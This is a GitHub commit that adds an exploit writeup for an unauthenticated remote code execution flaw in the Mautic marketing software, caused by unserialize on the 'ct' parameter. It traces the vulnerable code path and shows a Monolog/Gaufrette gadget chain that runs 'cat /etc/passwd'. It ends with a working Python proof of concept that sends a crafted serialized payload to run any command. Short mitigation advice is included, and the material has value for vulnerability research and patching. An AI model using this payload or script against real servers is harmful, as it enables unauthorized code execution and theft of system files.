Skip to content

Commit 9cdd4c9

Browse files
Add Mautic RCE writeup
0 parents  commit 9cdd4c9

File tree

2 files changed

+235
-0
lines changed

2 files changed

+235
-0
lines changed

README.md

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
# Exploits
2+
3+
This repository contains exploits for some vulnerabilities.

mautic.md

+232
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,232 @@
1+
# Mautic Remote Code Execution
2+
3+
The open-source marketing automation software [Mautic](https://mautic.org) suffers from a vulnerability due to usage of the insecure `unserialize` function. An unauthenticated adversary exploiting this vulnerability is able to execute arbitrary code. When using PHP 7.0 or newer Mautic installations up to and including 2.15.1 are affected, for servers running older versions of PHP the vulnerability has not been fixed (yet). This document gives a quick overview of the vulnerability and how it can be exploited.
4+
5+
## Vulnerability
6+
7+
First, when accessing a non-existent path on a Mautic installation the `indexAction` of the `PublicController` will be called.
8+
9+
```php
10+
class PublicController extends CommonFormController
11+
{
12+
public function indexAction($slug, Request $request)
13+
{
14+
$model = $this->getModel('page');
15+
16+
// ...
17+
18+
$model->hitPage($entity, $this->request, 404);
19+
return $this->notFound();
20+
}
21+
}
22+
```
23+
24+
Then the `hitPage` method of the `PageModel` is called. `hitPage` then calls `getHitQuery`, which calls `AbstractCommonModel::decodeArrayFromUrl`.
25+
26+
```php
27+
class PageModel extends FormModel
28+
{
29+
public function hitPage($page, Request $request, $code = '200', Lead $lead = null, $query = [])
30+
{
31+
// ...
32+
33+
// Process the query
34+
if (empty($query)) {
35+
$query = $this->getHitQuery($request, $page);
36+
}
37+
38+
// ...
39+
}
40+
41+
public function getHitQuery(Request $request, $page = null)
42+
{
43+
$get = $request->query->all();
44+
$post = $request->request->all();
45+
46+
$query = \array_merge($get, $post);
47+
48+
// Set generated page url
49+
$query['page_url'] = $this->getPageUrl($request, $page);
50+
51+
// Process clickthrough if applicable
52+
if (!empty($query['ct'])) {
53+
$query['ct'] = $this->decodeArrayFromUrl($query['ct']);
54+
}
55+
56+
return $query;
57+
}
58+
}
59+
```
60+
61+
`AbstractCommonModel::decodeArrayFromUrl` finally calls the vulnerable `ClickthroughHelper::decodeArrayFromUrl`.
62+
63+
```php
64+
abstract class AbstractCommonModel
65+
{
66+
public function decodeArrayFromUrl($string, $urlDecode = true)
67+
{
68+
return ClickthroughHelper::decodeArrayFromUrl($string, $urlDecode);
69+
}
70+
}
71+
```
72+
73+
The vulnerable code in `app/bundles/CoreBundle/Helper/ClickthroughHelper.php`:
74+
75+
```php
76+
class ClickthroughHelper
77+
{
78+
public static function decodeArrayFromUrl($string, $urlDecode = true)
79+
{
80+
$raw = $urlDecode ? urldecode($string) : $string;
81+
$decoded = base64_decode($raw);
82+
83+
if (empty($decoded)) {
84+
return [];
85+
}
86+
87+
if (strpos(strtolower($decoded), 'a') !== 0) {
88+
throw new \InvalidArgumentException(sprintf('The string %s is not a serialized array.', $decoded));
89+
}
90+
91+
return unserialize($decoded);
92+
}
93+
}
94+
```
95+
96+
This code unserializes a user-controlled string. Adversaries can thus instantiate arbitrary PHP objects and achieve code execution.
97+
98+
## Unserialize Gadget
99+
100+
Adversaries can exploit this vulnerability by crafting a PHP object that will execute code when it is destructed. The following unserialize gadget will execute `system("cat /etc/passwd");` when destructed.
101+
102+
```
103+
array(1) {
104+
[0]=>
105+
object(Gaufrette\Adapter\Zip)#2220 (2) {
106+
["zipArchive":protected]=>
107+
object(Monolog\Handler\BufferHandler)#2217 (10) {
108+
["handler":protected]=>
109+
object(Monolog\Handler\GroupHandler)#2224 (5) {
110+
["handlers":protected]=>
111+
array(0) {
112+
}
113+
["processors":protected]=>
114+
array(1) {
115+
[0]=>
116+
string(6) "system"
117+
}
118+
}
119+
["bufferSize":protected]=>
120+
int(1)
121+
["buffer":protected]=>
122+
array(1) {
123+
[0]=>
124+
string(2) "cat /etc/passwd"
125+
}
126+
}
127+
}
128+
}
129+
```
130+
131+
When this PHP object is destructed, the `__destruct` method on `Gaufrette\Adapter\Zip` will be called.
132+
133+
```php
134+
class Zip implements Adapter
135+
{
136+
public function __destruct()
137+
{
138+
if ($this->zipArchive) {
139+
try {
140+
$this->zipArchive->close();
141+
} catch (\Exception $e) {
142+
143+
}
144+
unset($this->zipArchive);
145+
}
146+
}
147+
}
148+
```
149+
150+
This method will call `close` on its `zipArchive` member. In our case this is a `Monolog\Handler\BufferHandler` object.
151+
152+
```php
153+
class BufferHandler extends AbstractHandler
154+
{
155+
public function close()
156+
{
157+
$this->flush();
158+
}
159+
160+
public function flush()
161+
{
162+
if ($this->bufferSize === 0) {
163+
return;
164+
}
165+
166+
$this->handler->handleBatch($this->buffer);
167+
$this->clear();
168+
}
169+
}
170+
```
171+
172+
The `flush` method will then call `handleBatch` on the `Monolog\Handler\GroupHandler` object and pass its `buffer` member variable in.
173+
174+
```php
175+
class GroupHandler extends AbstractHandler
176+
{
177+
public function handleBatch(array $records)
178+
{
179+
if ($this->processors) {
180+
$processed = array();
181+
foreach ($records as $record) {
182+
foreach ($this->processors as $processor) {
183+
$processed[] = call_user_func($processor, $record);
184+
}
185+
}
186+
$records = $processed;
187+
}
188+
189+
foreach ($this->handlers as $handler) {
190+
$handler->handleBatch($records);
191+
}
192+
}
193+
}
194+
```
195+
196+
The `handleBatch` method then calls `call_user_func` which an adversary can use to execute arbitrary code.
197+
198+
## Summary
199+
200+
`unserialize` is a dangerous function that should only be used when the serialization of PHP objects is explicitly required. In cases where the serialization of PHP objects is not required one should use the `json_encode` and `json_decode` functions instead.
201+
If PHP object serialization is required the [`$options` argument](https://www.php.net/manual/en/function.unserialize.php) should be used to specify which PHP objects can be unserialized and a cryptographic primitive such as an [HMAC](https://en.wikipedia.org/wiki/HMAC) should be used to prevent users from tampering with serialized data.
202+
203+
## Proof of Concept
204+
205+
The following proof of concept exploits the vulnerability in order to execute arbitrary system commands:
206+
207+
```python
208+
#!/usr/bin/env python3
209+
import requests
210+
import base64
211+
import argparse
212+
213+
def exploit(url, cmd):
214+
php_function = 'system'
215+
group_handler = b'O:28:"Monolog\\Handler\\GroupHandler":2:{s:13:"\x00*\x00processors";a:1:{i:0;s:' + bytes(str(len(php_function)), 'utf-8') + b':"' + bytes(php_function, 'utf-8') + b'";}s:11:"\x00*\x00handlers";a:0:{}}'
216+
buffer_handler = b'O:29:"Monolog\\Handler\\BufferHandler":3:{s:13:"\x00*\x00bufferSize";i:1;s:9:"\x00*\x00buffer";a:1:{i:0;s:' + bytes(str(len(cmd)), 'utf-8') + b':"' + bytes(cmd, 'utf-8') + b'";}s:10:"\x00*\x00handler";' + group_handler + b'}'
217+
zip_archive = b'a:1:{i:0;O:21:"Gaufrette\\Adapter\\Zip":1:{s:13:"\x00*\x00zipArchive";' + buffer_handler + b'}}'
218+
payload = base64.b64encode(zip_archive)
219+
220+
output = requests.post('{}/index.php/404'.format(url), data={'ct': payload}).text
221+
return output[:output.rindex('<!DOCTYPE html>')]
222+
223+
if __name__ == '__main__':
224+
parser = argparse.ArgumentParser(description='Remote code execution on mautic')
225+
parser.add_argument('url', help='base url of the mautic installation (e.g. http://localhost/)')
226+
parser.add_argument('cmd', help='command to execute (e.g. ls)')
227+
228+
args = parser.parse_args()
229+
230+
print(exploit(args.url, args.cmd))
231+
232+
```

0 commit comments

Comments
 (0)